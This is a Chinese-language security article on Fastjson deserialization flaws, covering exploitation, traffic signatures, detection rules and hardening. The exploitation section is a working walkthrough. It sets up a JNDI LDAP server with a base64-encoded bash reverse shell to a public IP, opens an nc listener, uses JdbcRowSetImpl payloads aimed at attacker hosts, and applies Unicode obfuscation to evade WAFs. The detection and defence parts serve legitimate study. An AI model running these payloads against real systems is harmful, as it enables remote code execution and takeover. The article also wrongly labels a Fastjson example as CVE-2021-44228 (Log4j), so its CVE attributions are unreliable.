fastjson特征流量分析

fastjson特征流量分析

精选文章moguli202025-05-15 21:14:334A+A-

1.1 Fastjson简介

Fastjson是阿里巴巴公司开源的一款JSON解析器,它可以解析 JSON 格式的字符串,是一个 Java 库。

JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。

1.1.1Fastjson漏洞原理

1.fastjson 在解析 json 的过程中,支持使用 autoType(自动识别类型) 这个功能来读取 @type 的内容,并根据 @type 的内容来实例化某一个具体的类。

2.这个过程中允许 JSON 数据直接控制 Java 的类加载器行为,从而创建任何类型的对象。

3.根据这个反序列化的过程,我们就可以通过构造恶意利用链的方式达到任意命令执行的目的。

1.1.3漏洞利用

1.漏洞探测:可以利用DNSLog Platform生成域名,并构造一个尝试进行域名解析的json语句,发送过去看有没有被执行。

尝试进行域名解析的json语句:{ "name":{ "@type":"java.net.InetAddress", "val":"任意主机名.域名" } }

2.进行JNDI注入:利用JNDI的LDAP或RMI服务,让目标服务器自动从我们的公网服务器上拉取恶意的 java class 类文件,达到命令执行的目的。

(1)对反弹shell进行base64编码

(2)通过JNDI注入工具开启LDAP或RMI服务,并根据利用链制造出恶意的json语句。

命令格式:java -cp jndi_tool.jar jndi.HLDAPServer 公网服务器IP 端口 "base64编码后的命令"

命令示例:java -cp jndi_tool.jar jndi.HLDAPServer 10.100.100.100 9999 "bash -c {echo,YmFzaCAtaSA+JiA
vZGV2L3RjcC84LjIxOS4xNjEuODgvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}"

构造出的JSON示例:{"e":{"@type":"java.lang.Class","val":"
com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"
com.sun.rowset.JdbcRowSetImpl","dataSourceName":"
ldap://10.100.100.100:9999/Object","autoCommit":true}}

(3)在公网服务器上打开nc监听对应端口用于接收反弹shell。

(4)将制造出的 json 语句用 BP 修改 content-type 参数为:application/json 并在数据体中添加 json 语句,传到对面服务器。(可以尝试对json语句进行Unicode编码,可能可以绕过一些防火墙的监测)


1.2 Fastjson高危可利用漏洞

1.2.1远程代码执行(RCE)漏洞

CVE-2017-18349(1.2.24及之前):未启用AutoType黑名单,可直接加载恶意类。

CVE-2020-3541(1.2.68及之前):黑名单绕过(如
Lcom.sun.rowset.JdbcRowSetImpl;语法变形)。

1.2.2反序列化绕过漏洞

二次反序列化攻击:通过异常类(如Throwable子类)触发嵌套解析(1.2.62版本)。

非公开内部类利用:如
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory(1.2.80版本)。

1.3 常见Fastjson漏洞攻击方法

1.3.1JNDI注入攻击

构造恶意JSON,利用@type指定JdbcRowSetImpl类,通过dataSourceName属性触发LDAP/RMI远程加载恶意类:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}

:cite[7]:cite[9]

1.3.2DNSLog验证与出网检测

使用无害类(如java.net.Inet4Address)测试DNS请求,确认漏洞存在:

{"@type":"java.net.Inet4Address","val":"dnslog.ceye.io"}

:cite[5]:cite[9]

1.3.3黑名单绕过手法

类描述符变形:LClassName;格式绕过字符串匹配(1.2.47)。

接口伪装:利用AutoCloseable等白名单接口嵌套恶意类(1.2.80)。

1.3.4 Fastjson流量特征

1、Payload中的特定关键词: Fastjson反序列化漏洞通常会利用恶意构造的JSON Payload,其中可能包含一些特定的关键词或字符串,例如""@type"",@type字段指定要加载的类,常见的带有ladp、rmi协议地址.

2、HTTP请求方法: 恶意请求通常使用POST方法,因为Fastjson反序列化漏洞通常利用HTTP POST请求发送恶意JSON数据

3、HTTP请求头部: 检查HTTP请求头部,特别是Content-Type字段,通常Fastjson漏洞攻击会将Content-Type设置为"application/json"。


Content-Type

    • 正常场景:application/json(常见,非唯一特征)
    • 异常攻击特征:可能伪装为text/plain或multipart/form-data以绕过WAF检测。

请求体结构

@type字段:Fastjson特有的自动类型识别标识,用于指定反序列化的目标类。

{
    "@type": "com.example.User",
    "name": "test",
    "age": 20
}
    • 攻击Payload标志
      • 包含高危类名(如com.sun.rowset.JdbcRowSetImpl、java.lang.Class)。
      • 嵌套多层$ref引用或恶意构造的JSON结构。


2.编码特征

Unicode转义:Fastjson默认支持Unicode解析,攻击者可能使用\x或\u编码绕过过滤:

    • j{"@type":"\x63om.sun.rowset.JdbcRowSetImpl"}
    • Hex编码:{"@type":"0x636f6d2e73756e2e726f777365742e4a646263526f77536574496d706c"}

3.JNDI注入特征

漏洞利用时常见ldap://、rmi://、dns://等协议:

{
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "ldap://attacker.com/Exploit",
    "autoCommit": true
}

4..响应特征

(1)错误信息泄露

Fastjson在反序列化失败时可能返回详细的类加载错误:

    • java.lang.ClassNotFoundException: com.attacker.ExploitClass
    • 响应中可能包含fastjson版本标识(如fastjson 1.2.68)。

(2)DNS/HTTP外联请求

成功触发JNDI注入时,目标服务器会向攻击者控制的地址发起请求,可通过流量日志检测:

    • OUTBOUND DNS Query: attacker.com → 可能关联漏洞利用

1.3.5攻击案例

1.JNDI注入攻击(CVE-2021-44228)

POST /api/data HTTP/1.1

Content-Type: application/json


{

"@type": "com.sun.rowset.JdbcRowSetImpl",

"dataSourceName": "ldap://attacker.com:1389/Exploit",

"autoCommit": true

}

2.绕过WAF的Unicode混淆


{

"@type": "\u0063om.\u0073un.\u0072owset.\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c",

"dataSourceName": "rmi://malicious.site/ref"

}

1.5 Fastjson流量特征检测

1.5.1自动化扫描工具

Xray:配置反连平台,通过xray webscan命令检测漏洞并生成报告5。

BurpSuite插件:如DNSLog检测插件,识别出网行为。

1.5.2手动验证技术

Payload构造:发送含@type的测试JSON,观察DNSLog响应或异常行为。

日志分析:监控反序列化错误日志或异常类加载事件。

1.5.3流量监控规则

1. 静态特征匹配

规则示例(Suricata/YARA):

alert http any any -> any any (msg:"Fastjson RCE Attempt";

content:"@type"; http_client_body;

content:"JdbcRowSetImpl"; distance:0;

content:"dataSourceName"; distance:0;

content:"ldap://"; nocase; metadata:tag cve, cve CVE-2021-44228;)

2. 动态行为分析

  • 异常类加载检测
    监控Java应用的日志中是否加载非常见类(如javax.el.ELProcessor、org.apache.tomcat.dbcp.dbcp2.BasicDataSource)。
  • 网络层异常
    检测内网服务器突然向外发起LDAP/RMI连接。

3. 编码混淆识别

  • 解码后校验:对\uXXXX、\xXX、Base64等编码后的内容进行递归解码后匹配关键字。

WAF规则:拦截包含@type、JdbcRowSetImpl等关键词的请求。

1.5.4 Fastjson工具

1.BurpFastJsonScan

https://github.com/pmiaowu/BurpFastJsonScan

2.java-chains

https://github.com/vulhub/java-chains

1.6 安全防御建议

1.流量层防御

WAF规则:拦截包含@type、JdbcRowSetImpl、ldap://等关键字的请求。

输入过滤:禁止JSON中包含非业务需要的类名或协议。

2.应用层加固

(1)升级Fastjson至安全版本(≥1.2.83),开启safeMode彻底禁用自动类型解析:

ParserConfig.getGlobalInstance().setSafeMode(true);

(2)关闭AutoType:通过启动参数
-Dfastjson.parser.safeMode=true或代码配置。

(3)白名单控制:仅允许反序列化可信类(如ParserConfig.addAccept("com.trusted.*"))。

敏感字段过滤:移除或转义请求中的@type字段。

3.监控与日志

(1)记录所有反序列化操作的类名和来源IP。

(2)部署NTA(网络流量分析)系统,捕获异常外联请求。


  • 参考链接
    • Fastjson官方安全公告:https://github.com/alibaba/fastjson/wiki/security_update
    • https://xz.aliyun.com/news/15984
点击这里复制本文地址 以上内容由莫古技术网整理呈现,请务必在转载分享时注明本文地址!如对内容有疑问,请联系我们,谢谢!
qrcode

莫古技术网 © All Rights Reserved.  滇ICP备2024046894号-2